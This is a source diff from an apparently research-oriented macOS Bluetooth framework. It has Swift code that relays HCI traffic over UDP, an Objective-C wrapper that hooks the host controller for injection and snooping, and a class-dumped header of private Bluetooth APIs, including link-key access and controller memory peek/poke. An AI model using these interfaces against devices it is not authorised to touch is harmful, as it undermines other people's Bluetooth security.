temp.append(orig[i*2+1])
}
self.sendOverUDP(data: temp.hexadecimal!, h, s!)
}
else {
let temp = result.hexadecimal!
if temp.count >= 8 {
self.sendOverUDP(data: temp, h, s!)
}
}
}
func printFormatted(_ result: String) {
let str = result.separate()
var formatted = ""
for (i, sub) in str.components(separatedBy: " ").enumerated() {
if i % 8 == 7 {
let rowIndex = i/8
let start = result.index(result.startIndex, offsetBy: rowIndex * 32)
let end = rowIndex * 32 + 32 < result.count ?
result.index(result.startIndex, offsetBy: rowIndex * 32 + 32) :
result.endIndex
let range = start..<end
let row = String(result[range])
formatted.append(sub + " \(row.toAscii())\n")
}
else {
formatted.append(sub + " ")
}
}
print(formatted)
}
}
@@ -0,0 +1,26 @@
//
// IOBE.h
// IOBluetoothExtended
//
// Created by Davide Toldo on 19.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <IOBluetooth/IOBluetooth.h>
#ifndef IOBE_h
#define IOBE_h
@class HCIDelegate;
@interface IOBE: NSObject {
IOBluetoothHostController *controller;
HCIDelegate *delegate;
}
- (void) shutdown;
@end
#endif /* IOBE_h */
@@ -0,0 +1,31 @@
//
// IOBE.m
// IOBluetoothExtended
//
// Created by Davide Toldo on 19.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import "IOBE.h"
#import "HCIDelegate.h"
@implementation IOBE
- (id) initWith:(NSString *)inject and:(NSString*)snoop {
if (self = [super init]) {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_BACKGROUND, 0), ^{
self->controller = IOBluetoothHostController.defaultController;
self->delegate = [[HCIDelegate alloc] initWith:inject and:snoop];
self->controller.delegate = self->delegate;
[[NSRunLoop currentRunLoop] run];
});
}
return self;
}
- (void) shutdown {
[self->delegate shutdown];
}
@end
@@ -0,0 +1,20 @@
//
// IOBluetoothExtended.h
// IOBluetoothExtended
//
// Created by Davide Toldo on 06.07.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <Cocoa/Cocoa.h>
#import <HCIDelegate.h>
#import <HCICommunicator.h>
#import <IOBluetoothHostController.h>
//! Project version number for IOBluetoothExtended.
FOUNDATION_EXPORT double IOBluetoothExtendedVersionNumber;
//! Project version string for IOBluetoothExtended.
FOUNDATION_EXPORT const unsigned char IOBluetoothExtendedVersionString[];
// In this header, you should import all the public headers of your framework using statements like #import <IOBluetoothExtended/PublicHeader.h>
@@ -0,0 +1,344 @@
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
@import Foundation;
@import IOBluetooth;
struct IOBluetoothHCIEventNotificationMessage;
typedef struct IOBluetoothHCIEventNotificationMessage * IOBluetoothHCIEventNotificationMessageRef;
NS_ASSUME_NONNULL_BEGIN
@protocol IOBluetoothHostControllerDelegate
@optional
- (void)BluetoothHCIEventNotificationMessage:(IOBluetoothHostController*)controller
inNotificationMessage:(IOBluetoothHCIEventNotificationMessageRef)message;
@end
@interface IOBluetoothHostController (PrivateAPI)
+ (void)initialize;
+ (id)getPropertyObjectFromIOServiceNamed:(const char *)arg1 forKey:(id)arg2;
+ (id)defaultController;
+ (id)controllers;
+ (void)enableNotifications;
@property id delegate; // @synthesize delegate=_delegate;
- (void)BluetoothHostControllerSetupCompleted;
- (void)sendInquiryResultToDelegate:(struct IOBluetoothHCIEventNotificationMessage *)arg1;
- (void)processRawEventData:(const void *)arg1 dataSize:(unsigned long long)arg2;
- (void)asyncHCIEventNotificationWithRef:(struct OpaqueIOBluetoothNotificationRef *)arg1 subClass:(unsigned int)arg2 data:(const void *)arg3 dataSize:(unsigned long long)arg4;
- (void)stopHCIEventListener;
- (id)getDeviceForHCIRequestID:(unsigned int)arg1 removeIfFound:(BOOL)arg2;
- (void)addDeviceToOutstandingRequests:(id)arg1 forHCIRequestID:(unsigned int)arg2;
- (int)BluetoothHCILETrackSensor:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 timeoutValue:(unsigned char)arg3 outLEextOpcode:(char *)arg4;
- (int)BluetoothHCILEExtendedDuplicateFilter:(char *)arg1 outAction:(unsigned char)arg2;
- (int)BluetoothHCILEAdvPacketPacketFilterServiceUUIDClear:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 outLEextOpcode:(char *)arg3 outAction:(char *)arg4;
- (int)BluetoothHCILEAdvPacketPacketFilterServiceUUIDWrite:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 logicalType:(unsigned char)arg3 outLEextOpcode:(char *)arg4 outAction:(char *)arg5 UUID:(char *)arg6;
- (int)BluetoothHCIBroadcomTagLEA:(unsigned long long)arg1 connectionHandle:(unsigned short)arg2 input:(BOOL)arg3 channel:(BOOL)arg4;
- (int)BluetoothHCILEScanRSSIThresholdWrite:(unsigned char)arg1 rssiThresdhold:(BOOL)arg2 outAction:(char *)arg3;
- (int)BluetoothHCILEScanRSSIThresholdRead:(char *)arg1 outMode:(char *)arg2 outRSSIThreshold:(char *)arg3;
- (int)BluetoothHCILEAdvPacketContentFilterFeatureSectionClear:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 outLEextOpcode:(char *)arg3 outAction:(char *)arg4;
- (int)BluetoothHCILEAdvPacketContentFilterFeatureSectionRead:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 outLEextOpcode:(char *)arg3 outAction:(char *)arg4 outFeatureSelection:(unsigned int *)arg5 outLogicalType:(char *)arg6;
- (int)BluetoothHCILEAdvPacketContentFilterFeatureSectionWrite:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 featureSelection:(unsigned int)arg3 logicalType:(unsigned char)arg4 outLEextOpcode:(char *)arg5 outAction:(char *)arg6;
- (int)BluetoothHCILEBroadcomReadIRKList:(unsigned char)arg1 outLEextOpcode:(char *)arg2 outIRKListIndex:(char *)arg3 outIRK:(char *)arg4 outAddressType:(char *)arg5 outAddress:(struct BluetoothDeviceAddress *)arg6 outResolvedPrivateAddress:(struct BluetoothDeviceAddress *)arg7;
- (int)BluetoothHCILEBroadcomClearIRKList:(char *)arg1 outIRKListAvailableSpace:(char *)arg2;
- (int)BluetoothHCILEBroadcomRemoveIRKFromList:(unsigned char)arg1 address:(struct BluetoothDeviceAddress *)arg2 outLEextOpcode:(char *)arg3 outIRKListAvailableSpace:(char *)arg4;
- (int)BluetoothHCILEBroadcomAddIRKToList:(char *)arg1 addressType:(unsigned char)arg2 address:(struct BluetoothDeviceAddress *)arg3 outLEextOpcode:(char *)arg4 outIRKListAvailableSpace:(char *)arg5;
- (int)BluetoothHCILEBroadcomEnableCustomerSpecificFeatures:(unsigned int)arg1 outLEextOpcode:(char *)arg2;
- (int)readVerboseConfigVersionInfo:(char *)arg1 outTargetID:(char *)arg2 outBaseline:(unsigned short *)arg3 outBuild:(unsigned short *)arg4;
- (int)superPeekPoke:(unsigned char)arg1 address:(unsigned int)arg2 outValue:(unsigned int *)arg3;
- (int)removeHIDEmulationDevice:(struct BluetoothDeviceAddress)arg1;
- (int)readHIDEmulationDevices;
- (int)addHIDEmulationDevice:(struct BluetoothDeviceAddress)arg1 classOfDevice:(unsigned int)arg2 linkKey:(struct BluetoothKey)arg3;
- (int)triStateEnabled:(BOOL)arg1;
- (int)startTransmitTest:(struct BluetoothDeviceAddress *)arg1 hoppingMode:(unsigned char)arg2 frequency:(unsigned char)arg3 modulationType:(unsigned char)arg4 logicalChannel:(unsigned char)arg5 packetType:(unsigned char)arg6 packetLength:(unsigned short)arg7 transmitPower:(unsigned char)arg8 transmitPowerdBm:(unsigned char)arg9 transmitPowerTableIndex:(unsigned char)arg10;
- (int)startReceiveTest:(struct BluetoothDeviceAddress *)arg1 reportPeriod:(unsigned short)arg2 frequency:(unsigned char)arg3 modulationType:(unsigned char)arg4 logicalChannel:(unsigned char)arg5 packetType:(unsigned char)arg6 packetLength:(unsigned short)arg7;
- (int)setTransmitPowerForDevice:(id)arg1 toLevel:(unsigned char)arg2;
- (int)readRawRSSIForDevice:(id)arg1;
- (int)BluetoothHCIBroadcomSetProximityTrigger:(unsigned char)arg1 inEnableAwayTrigger:(unsigned char)arg2;
- (int)BluetoothHCIBroadcomSetProximityTable:(const struct BluetoothDeviceAddress *)arg1 inPowerSteps:(unsigned char)arg2 inAwayTriggerValues:(struct BluetoothBroadcomRSSITriggerValue *)arg3 inPresentTriggerValues:(struct BluetoothBroadcomRSSITriggerValue *)arg4;
- (int)BluetoothHCIBroadcomReadRetransmissionStatus:(unsigned char)arg1 inConnectionHandle:(unsigned short)arg2 inNotificationEnable:(unsigned char)arg3 inNotificationThreshold:(unsigned char)arg4 outConnectionHandle:(unsigned short *)arg5 outRetransmissionCounter:(unsigned int *)arg6 outRetransmissionPercentage:(char *)arg7;
- (int)BluetoothHCIBroadcomIncreaseDecreasePowerLevel:(const struct BluetoothDeviceAddress *)arg1 increase:(unsigned char)arg2;
- (int)BluetoothHCIBroadcomTurnOFFDynamicPowerControl:(unsigned char)arg1 inDeviceAddress:(const struct BluetoothDeviceAddress *)arg2;
- (int)BluetoothHCIBroadcomChangeLNAGainCoexsECI:(unsigned char)arg1;
- (int)BluetoothHCIBroadcomSetUSBAutoResume:(unsigned short)arg1;
- (int)BluetoothHCIBroadcomIgnoreUSBReset:(char *)arg1;
- (int)BluetoothHCIBroadcomGetEDRACLConnectionStats;
- (int)BluetoothHCIBroadcomResetBasicRateACLConnectionStats;
- (int)BluetoothHCIBroadcomGetBasicRateACLConnectionStats;
- (int)BluetoothHCIBroadcomBFCIsConnectionTBFCSuspended:(unsigned short)arg1 outBFCConnectionInfo:(struct BluetoothBroadcomBFCConnectionTBFCSuspendedInfo *)arg2;
- (int)BluetoothHCIBroadcomReadLocalFirmwareInfo:(unsigned char)arg1 outLocalFirmwareInfo:(struct BluetoothBroadcomLocalFirmwareInfo *)arg2;
- (int)BluetoothHCIBroadcomSetEventMask:(const struct BluetoothBroadcomSetEventMask *)arg1;
- (int)BluetoothHCIBroadcomBFCCreateConnection:(const struct BluetoothDeviceAddress *)arg1 inPacketType:(unsigned short)arg2 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg3;
- (int)BluetoothHCIBroadcomBFCReadScanEnable:(char *)arg1;
- (int)BluetoothHCIBroadcomBFCWriteScanEnable:(unsigned char)arg1;
- (int)BluetoothHCIBroadcomBFCReadRemoteBPCSFeatures:(unsigned short)arg1 outBPCSFeatures:(struct BluetoothBroadcomBFCRemoteBPCSFeatures *)arg2;
- (int)BluetoothHCIBroadcomSetTransmitPower:(unsigned short)arg1 inPower:(BOOL)arg2;
- (int)BluetoothHCIBroadcomBFCSetParams:(struct BluetoothBroadcomBFCParams *)arg1;
- (int)BluetoothHCIBroadcomBFCReadParams:(struct BluetoothBroadcomBFCParams *)arg1;
- (int)BluetoothHCIBroadcomBFCResume:(unsigned short)arg1 inDeviceAddress:(const struct BluetoothDeviceAddress *)arg2 inBFCResume:(struct BluetoothBroadcomBFCReconnectData *)arg3;
- (int)BluetoothHCIBroadcomBFCSuspend:(unsigned short)arg1;
- (int)BluetoothHCIBroadcomReadRawRSSI:(unsigned short)arg1 outRSSI:(char *)arg2;
- (int)BluetoothHCIAtherosReadRawRSSI:(const struct BluetoothDeviceAddress *)arg1 outRSSI:(char *)arg2;
- (int)BluetoothHCICSRReadRawRSSI:(unsigned short)arg1 outRSSI:(char *)arg2;
- (BOOL)isLEASupported;
- (BOOL)pairedDeviceSupportTBFCPage;
- (BOOL)tbfcPageSupported;
- (BOOL)tbfcSupported;
- (BOOL)concurrentCreateConnectionSupported;
- (struct BluetoothHCISupportedFeatures)supportedFeatures;
- (id)cachedDeviceAddressString;
- (id)cachedDeviceAddress;
- (unsigned char)cachedHCIVersion;
- (BOOL)lowEnergySupported;
- (int)setPowerState:(int)arg1;
@property(readonly) int powerState;
- (BOOL)powerChangeSupported;
- (int)BluetoothHCILETestEnd:(unsigned short *)arg1;
- (int)BluetoothHCILETransmitterTest:(unsigned char)arg1 lengthOfTestData:(unsigned char)arg2 packetPayload:(unsigned char)arg3;
- (int)BluetoothHCILEReceiverTest:(unsigned char)arg1;
- (int)BluetoothHCILEReadSupportedStates:(unsigned long long *)arg1;
- (int)BluetoothHCILELongTermKeyRequestNegativeReply:(unsigned short)arg1;
- (int)BluetoothHCILELongTermKeyRequestReply:(unsigned short)arg1 longTermKey:(char *)arg2;
- (int)BluetoothHCILEStartEncryption:(unsigned short)arg1 randomNumber:(unsigned long long)arg2 encryptedDiversifier:(unsigned short)arg3 longTermKey:(char *)arg4;
- (int)BluetoothHCILERand:(unsigned long long *)arg1;
- (int)BluetoothHCILEEncrypt:(char *)arg1 plaintextData:(char *)arg2 encryptedData:(char *)arg3;
- (int)BluetoothHCILEReadRemoteUsedFeatures:(unsigned short)arg1;
- (int)BluetoothHCILEReadChannelMap:(unsigned short)arg1 channelMap:(unsigned long long *)arg2;
- (int)BluetoothHCILESetHostChannelClassification:(unsigned long long)arg1;
- (int)BluetoothHCILEConnectionUpdate:(unsigned short)arg1 connectionIntervalMin:(unsigned short)arg2 connectionIntervalMax:(unsigned short)arg3 connectionLatency:(unsigned short)arg4 supervisionTimeout:(unsigned short)arg5 minimumCELength:(unsigned short)arg6 maximumCELength:(unsigned short)arg7;
- (int)BluetoothHCILERemoveDeviceFromWhiteList:(unsigned char)arg1 address:(const struct BluetoothDeviceAddress *)arg2;
- (int)BluetoothHCILEAddDeviceToWhiteList:(unsigned char)arg1 address:(const struct BluetoothDeviceAddress *)arg2;
- (int)BluetoothHCILEClearWhiteList;
- (int)BluetoothHCILEReadWhiteListSize:(char *)arg1;
- (int)BluetoothHCILECreateConnectionCancel;
- (int)BluetoothHCILECreateConnection:(unsigned short)arg1 LEScanWindow:(unsigned short)arg2 initiatorFilterPolicy:(unsigned char)arg3 peerAddressType:(unsigned char)arg4 peerAddress:(struct BluetoothDeviceAddress *)arg5 ownAddressType:(unsigned char)arg6 connectionIntervalMin:(unsigned short)arg7 connectionIntervalMax:(unsigned short)arg8 connectionLatency:(unsigned short)arg9 supervisionTimeout:(unsigned short)arg10 minimumCELength:(unsigned short)arg11 maximumCELength:(unsigned short)arg12;
- (int)BluetoothHCILESetScanEnable:(unsigned char)arg1 filterDuplicates:(unsigned char)arg2;
- (int)BluetoothHCILESetScanParameters:(unsigned char)arg1 LEScanInterval:(unsigned short)arg2 LEScanWindow:(unsigned short)arg3 ownAddressType:(unsigned char)arg4 scanningFilterPolicy:(unsigned char)arg5;
- (int)BluetoothHCILESetAdvertiseEnable:(unsigned char)arg1;
- (int)BluetoothHCILESetScanResponseData:(unsigned char)arg1 scanResponseData:(char *)arg2;
- (int)BluetoothHCILESetAdvertisingData:(unsigned char)arg1 advertsingData:(char *)arg2;
- (int)BluetoothHCILEReadAdvertisingChannelTxPower:(char *)arg1;
- (int)BluetoothHCILESetAdvertisingParameters:(unsigned short)arg1 advertisingIntervalMax:(unsigned short)arg2 advertisingType:(unsigned char)arg3 ownAddressType:(unsigned char)arg4 directAddressType:(unsigned char)arg5 directAddress:(struct BluetoothDeviceAddress *)arg6 advertisingChannelMap:(unsigned char)arg7 advertisingFilterPolicy:(unsigned char)arg8;
- (int)BluetoothHCILESetRandomAddress:(struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCILEReadLocalSupportedFeatures:(unsigned long long *)arg1;
- (int)BluetoothHCILEReadBufferSize:(unsigned short *)arg1 totalNumberLEDataPackets:(char *)arg2;
- (int)BluetoothHCILESetEventMask:(unsigned long long)arg1;
- (void)BluetoothHCIEventNotification:(const struct IOBluetoothHCIEventNotificationMessage *)arg1;
- (int)BluetoothHCIWriteSimplePairingDebugMode:(unsigned char)arg1;
- (int)BluetoothHCIEnableDeviceUnderTestMode;
- (int)BluetoothHCIWriteLoopbackMode:(unsigned char)arg1;
- (int)BluetoothHCIReadLoopbackMode:(char *)arg1;
- (int)BluetoothHCIReadClock:(unsigned short)arg1 inWhichClock:(unsigned char)arg2 outReadClockInfo:(struct BluetoothReadClockInfo *)arg3;
- (int)BluetoothHCIReadAFHChannelMap:(unsigned short)arg1 outAFHMode:(char *)arg2 outAFHChannelMap:(unsigned char [10])arg3;
- (int)BluetoothHCIReadRSSI:(unsigned short)arg1 outRSSI:(char *)arg2;
- (int)BluetoothHCIReadLinkQuality:(unsigned short)arg1 outLinkQuality:(char *)arg2;
- (int)BluetoothHCIResetFailedContactCounter:(unsigned short)arg1;
- (int)BluetoothHCIReadFailedContactCounter:(unsigned short)arg1 outFailedContactCounter:(unsigned short *)arg2;
- (int)BluetoothHCIReadDeviceAddress:(struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIReadBufferSize:(unsigned short *)arg1 outHCSynchronousDataPacketLength:(char *)arg2 outHCTotalNumACLDataPackets:(unsigned short *)arg3 outHCTotalNumSynchronousDataPackets:(unsigned short *)arg4;
- (int)BluetoothHCIReadLocalExtendedFeatures:(unsigned char)arg1 outMaximumPageNumber:(char *)arg2 outExtendedLMPFeatures:(struct BluetoothHCISupportedFeatures *)arg3;
- (int)BluetoothHCIReadLocalSupportedFeatures:(struct BluetoothHCISupportedFeatures *)arg1;
- (int)BluetoothHCIReadLocalSupportedCommands:(struct BluetoothHCISupportedCommands *)arg1;
- (int)BluetoothHCIReadLocalVersionInformation:(char *)arg1 outHCIRevision:(unsigned short *)arg2 outLMPVersion:(char *)arg3 outManufacturerName:(unsigned short *)arg4 outLMPSubversion:(unsigned short *)arg5;
- (int)BluetoothHCIWriteLEHostSupported:(unsigned char)arg1 simultaneousLEHost:(unsigned char)arg2;
- (int)BluetoothHCIReadLEHostSupported:(char *)arg1 simultaneousLEHost:(char *)arg2;
- (int)BluetoothHCIEnhancedFlush:(unsigned short)arg1 inPacketType:(unsigned char)arg2 outConnectionHandle:(unsigned short *)arg3;
- (int)BluetoothHCIWriteDefaultErroneousDataReporting:(unsigned char)arg1;
- (int)BluetoothHCIReadDefaultErroneousDataReporting:(char *)arg1;
- (int)BluetoothHCISendKeypressNotification:(const struct BluetoothDeviceAddress *)arg1 inNotificationType:(unsigned char)arg2;
- (int)BluetoothHCIWriteInquiryTransmitPowerLevel:(BOOL)arg1;
- (int)BluetoothHCIReadInquiryResponseTransmitPowerLevel:(char *)arg1;
- (int)BluetoothHCIReadLocalOOBData:(struct BluetoothHCISimplePairingOOBData *)arg1 outR:(struct BluetoothHCISimplePairingOOBData *)arg2;
- (int)BluetoothHCIWriteSimplePairingMode:(unsigned char)arg1;
- (int)BluetoothHCIReadSimplePairingMode:(char *)arg1;
- (int)BluetoothHCIRefreshEncryptionKey:(unsigned short)arg1 outRefreshEncryptionKeyResults:(struct BluetoothHCIEventEncryptionKeyRefreshCompleteResults *)arg2;
- (int)BluetoothHCIWriteExtendedInquiryResponse:(unsigned char)arg1 inExtendedInquiryResponse:(const struct BluetoothHCIExtendedInquiryResponse *)arg2;
- (int)BluetoothHCIReadExtendedInquiryResponse:(char *)arg1 outExtendedInquiryResponse:(struct BluetoothHCIExtendedInquiryResponse *)arg2;
- (int)BluetoothHCIWriteAFHChannelAssessmentMode:(unsigned char)arg1;
- (int)BluetoothHCIReadAFHChannelAssessmentMode:(char *)arg1;
- (int)BluetoothHCIWritePageScanType:(unsigned char)arg1;
- (int)BluetoothHCIReadPageScanType:(char *)arg1;
- (int)BluetoothHCIWriteInquiryMode:(unsigned char)arg1;
- (int)BluetoothHCIReadInquiryMode:(char *)arg1;
- (int)BluetoothHCIWriteInquiryScanType:(unsigned char)arg1;
- (int)BluetoothHCIReadInquiryScanType:(char *)arg1;
- (int)BluetoothHCISetAFHHostChannelClassification:(const struct BluetoothAFHHostChannelClassification *)arg1;
- (int)BluetoothHCIWriteCurrentIACLAP:(const struct BluetoothHCICurrentInquiryAccessCodes *)arg1;
- (int)BluetoothHCIReadCurrentIACLAP:(struct BluetoothHCICurrentInquiryAccessCodes *)arg1;
- (int)BluetoothHCIReadNumberOfSupportedIAC:(char *)arg1;
- (int)BluetoothHCIWriteLinkSupervisionTimeout:(unsigned short)arg1 inLinkSupervisionTimeout:(unsigned short)arg2;
- (int)BluetoothHCIReadLinkSupervisionTimeout:(unsigned short)arg1 outLinkSupervisionTimeout:(unsigned short *)arg2;
- (int)BluetoothHCIHostNumberOfCompletedPackets:(unsigned char)arg1 inHandle:(const unsigned short *)arg2 inHostNumOfCompletedPackets:(const unsigned short *)arg3;
- (int)BluetoothHCIHostBufferSize:(unsigned short)arg1 inHostSynchronousDataPacketLength:(unsigned char)arg2 inHostTotalNumACLDataPackets:(unsigned short)arg3 inHostTotalNumSynchronousDataPackets:(unsigned short)arg4;
- (int)BluetoothHCISetControllerToHostFlowControl:(unsigned char)arg1;
- (int)BluetoothHCIWriteSynchronousFlowControlEnable:(unsigned char)arg1;
- (int)BluetoothHCIReadSynchronousFlowControlEnable:(char *)arg1;
- (int)BluetoothHCIReadTransmitPowerLevel:(unsigned short)arg1 inType:(unsigned char)arg2 outTransmitPowerLevel:(char *)arg3;
- (int)BluetoothHCIWriteHoldModeActivity:(unsigned char)arg1;
- (int)BluetoothHCIReadHoldModeActivity:(char *)arg1;
- (int)BluetoothHCIWriteNumBroadcastRetransmissions:(unsigned char)arg1;
- (int)BluetoothHCIReadNumBroadcastRetransmissions:(char *)arg1;
- (int)BluetoothHCIWriteAutomaticFlushTimeout:(unsigned short)arg1 inFlushTimeout:(unsigned short)arg2;
- (int)BluetoothHCIReadAutomaticFlushTimeout:(unsigned short)arg1 outFlushTimeout:(unsigned short *)arg2;
- (int)BluetoothHCIWriteVoiceSetting:(unsigned short)arg1;
- (int)BluetoothHCIReadVoiceSetting:(unsigned short *)arg1;
- (int)BluetoothHCIWriteClassOfDevice:(unsigned int)arg1;
- (int)BluetoothHCIReadClassOfDevice:(unsigned int *)arg1;
- (int)BluetoothHCIWriteAuthenticationEnable:(unsigned char)arg1;
- (int)BluetoothHCIReadAuthenticationEnable:(char *)arg1;
- (int)BluetoothHCIWriteInquiryScanActivity:(unsigned short)arg1 inInquiryScanWindow:(unsigned short)arg2;
- (int)BluetoothHCIReadInquiryScanActivity:(unsigned short *)arg1 outInquiryScanWindow:(unsigned short *)arg2;
- (int)BluetoothHCIWritePageScanActivity:(unsigned short)arg1 inPageScanWindow:(unsigned short)arg2;
- (int)BluetoothHCIReadPageScanActivity:(unsigned short *)arg1 outPageScanWindow:(unsigned short *)arg2;
- (int)BluetoothHCIWriteScanEnable:(unsigned char)arg1;
- (int)BluetoothHCIReadScanEnable:(char *)arg1;
- (int)BluetoothHCIWritePageTimeout:(unsigned short)arg1;
- (int)BluetoothHCIReadPageTimeout:(unsigned short *)arg1;
- (int)BluetoothHCIWriteConnectionAcceptTimeout:(unsigned short)arg1;
- (int)BluetoothHCIReadConnectionAcceptTimeout:(unsigned short *)arg1;
- (int)BluetoothHCIReadLocalName:(unsigned char [256])arg1;
- (int)BluetoothHCIWriteLocalName:(unsigned char [256])arg1;
- (int)BluetoothHCIDeleteStoredLinkKey:(const struct BluetoothDeviceAddress *)arg1 inDeleteAllFlag:(unsigned char)arg2 outNumKeysDeleted:(unsigned short *)arg3;
- (int)BluetoothHCIWriteStoredLinkKey:(unsigned int)arg1 inDeviceAddress:(const struct BluetoothDeviceAddress *)arg2 inLinkKey:(const struct BluetoothKey *)arg3 outNumKeysWritten:(char *)arg4;
- (int)BluetoothHCIReadStoredLinkKey:(const struct BluetoothDeviceAddress *)arg1 inReadAllFlag:(unsigned char)arg2 outStoredLinkKeysInfo:(struct BluetoothHCIStoredLinkKeysInfo *)arg3;
- (int)BluetoothHCICreateNewUnitKey;
- (int)BluetoothHCIWritePINType:(unsigned char)arg1;
- (int)BluetoothHCIReadPINType:(char *)arg1;
- (int)BluetoothHCIFlush:(unsigned short)arg1;
- (int)BluetoothHCISetEventFilter:(unsigned char)arg1 inFilterConditionType:(unsigned char)arg2 inCondition:(struct BluetoothEventFilterCondition *)arg3;
- (int)BluetoothHCIReset;
- (int)BluetoothHCISetEventMask:(const struct BluetoothSetEventMask *)arg1;
- (int)BluetoothHCISniffSubrating:(unsigned short)arg1 inMaximumLatency:(unsigned short)arg2 inMinimumRemoteTimeout:(unsigned short)arg3 inMinimumLocalTimeout:(unsigned short)arg4 outConnectionHandle:(unsigned short *)arg5;
- (int)BluetoothHCIFlowSpecification:(struct BluetoothHCIEventFlowSpecificationData *)arg1 outFlowSpecificationCompleteResults:(struct BluetoothHCIEventFlowSpecificationData *)arg2;
- (int)BluetoothHCIWriteDefaultLinkPolicySettings:(unsigned short)arg1;
- (int)BluetoothHCIReadDefaultLinkPolicySettings:(unsigned short *)arg1;
- (int)BluetoothHCIWriteLinkPolicySettings:(unsigned short)arg1 inLinkPolicySettings:(unsigned short)arg2;
- (int)BluetoothHCIReadLinkPolicySettings:(unsigned short)arg1 outLinkPolicySettings:(unsigned short *)arg2;
- (int)BluetoothHCISwitchRole:(const struct BluetoothDeviceAddress *)arg1 inRole:(unsigned char)arg2 outRoleChangeResults:(struct BluetoothHCIEventRoleChangeResults *)arg3;
- (int)BluetoothHCIRoleDiscovery:(unsigned short)arg1 outCurrentRole:(char *)arg2;
- (int)BluetoothHCIQoSSetup:(unsigned short)arg1 inFlags:(unsigned char)arg2 inServiceType:(unsigned char)arg3 inTokenRate:(unsigned int)arg4 inPeakBandwidth:(unsigned int)arg5 inLatency:(unsigned int)arg6 inDelayVariation:(unsigned int)arg7 outQoSSetupCompleteResults:(struct BluetoothHCIEventQoSSetupCompleteResults *)arg8;
- (int)BluetoothHCIExitParkState:(unsigned short)arg1 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg2;
- (int)BluetoothHCIParkState:(unsigned short)arg1 inBeaconMaxInterval:(unsigned short)arg2 inBeaconMinInterval:(unsigned short)arg3 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg4;
- (int)BluetoothHCIExitSniffMode:(unsigned short)arg1 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg2;
- (int)BluetoothHCISniffMode:(unsigned short)arg1 inSniffMaxInterval:(unsigned short)arg2 inSniffMinInterval:(unsigned short)arg3 inSniffAttempt:(unsigned short)arg4 inSniffTimeout:(unsigned short)arg5 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg6;
- (int)BluetoothHCIHoldMode:(unsigned short)arg1 inHoldModeMaxInterval:(unsigned short)arg2 inHoldModeMinInterval:(unsigned short)arg3 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg4;
- (int)BluetoothHCIIOCapabilityRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1 inReason:(unsigned char)arg2;
- (int)BluetoothHCIRemoteOOBDataRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIRemoteOOBDataRequestReply:(const struct BluetoothDeviceAddress *)arg1 inC:(const struct BluetoothHCISimplePairingOOBData *)arg2 inR:(const struct BluetoothHCISimplePairingOOBData *)arg3;
- (int)BluetoothHCIUserPasskeyRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIUserPasskeyRequestReply:(const struct BluetoothDeviceAddress *)arg1 inNumericValue:(unsigned int)arg2;
- (int)BluetoothHCIUserConfirmationRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIUserConfirmationRequestReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIIOCapabilityRequestReply:(const struct BluetoothDeviceAddress *)arg1 inIOCapability:(unsigned char)arg2 inOOBDataPresent:(unsigned char)arg3 inAuthenticationRequirements:(unsigned char)arg4;
- (int)BluetoothHCIRejectSynchronousConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inReason:(unsigned char)arg2 outSynchronousConnectionCompleteResults:(struct BluetoothHCIEventSynchronousConnectionCompleteResults *)arg3;
- (int)BluetoothHCIAcceptSynchronousConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inTransmitBandwidth:(unsigned int)arg2 inReceiveBandwidth:(unsigned int)arg3 inMaxLatency:(unsigned short)arg4 inContentFormat:(unsigned short)arg5 inRetransmissionEffort:(unsigned char)arg6 inPacketType:(unsigned short)arg7 outSynchronousConnectionCompleteResults:(struct BluetoothHCIEventSynchronousConnectionCompleteResults *)arg8;
- (int)BluetoothHCISetupSynchronousConnection:(unsigned short)arg1 inTransmitBandwidth:(unsigned int)arg2 inReceiveBandwidth:(unsigned int)arg3 inMaxLatency:(unsigned short)arg4 inVoiceSetting:(unsigned short)arg5 inRetransmissionEffort:(unsigned char)arg6 inPacketType:(unsigned short)arg7 outSynchronousConnectionCompleteResults:(struct BluetoothHCIEventSynchronousConnectionCompleteResults *)arg8;
- (int)BluetoothHCIReadLMPHandle:(unsigned short)arg1 outReadLMPHandleResults:(struct BluetoothHCIReadLMPHandleResults *)arg2;
- (int)BluetoothHCIReadClockOffset:(unsigned short)arg1 outReadClockOffsetCompleteResults:(unsigned short *)arg2;
- (int)BluetoothHCIReadRemoteVersionInformation:(unsigned short)arg1 outReadRemoteVersionInformationCompleteResults:(struct BluetoothHCIEventReadRemoteVersionInfoResults *)arg2;
- (int)BluetoothHCIReadRemoteExtendedFeatures:(unsigned short)arg1 inPageNumber:(unsigned char)arg2 outReadRemoteExtendedFeaturesCompleteResults:(struct BluetoothHCIEventReadRemoteExtendedFeaturesResults *)arg3;
- (int)BluetoothHCIReadRemoteSupportedFeatures:(unsigned short)arg1 outReadRemoteSupportedFeaturesCompleteResults:(struct BluetoothHCIEventReadRemoteSupportedFeaturesResults *)arg2;
